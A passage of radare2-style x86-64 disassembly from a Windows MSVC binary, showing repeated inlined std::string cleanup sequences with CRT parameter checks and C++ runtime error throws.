sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008035
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400762bc
nop
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0xf
jbe 0x14000807f
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000807a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000807a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400762bc
mov qword [rbp + 0x2d8], rdi
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c8], 0
mov rdx, qword [rbp + 0x300]
cmp rdx, 0xf
jbe 0x1400080dc
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400080d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400762bc
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x300], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e8], 0
mov rdx, qword [rbp + 0x320]
cmp rdx, 0xf
jbe 0x140008139
inc rdx
mov rcx, qword [rbp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008134
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008134
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400762bc
mov qword [rbp + 0x318], rdi
mov qword [rbp + 0x320], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x308], 0
mov rdx, qword [rbp + 0x340]
cmp rdx, 0xf
jbe 0x140008196
inc rdx
mov rcx, qword [rbp + 0x328]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008191
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400762bc
xor eax, eax
jmp 0x140007fb1
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x18], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3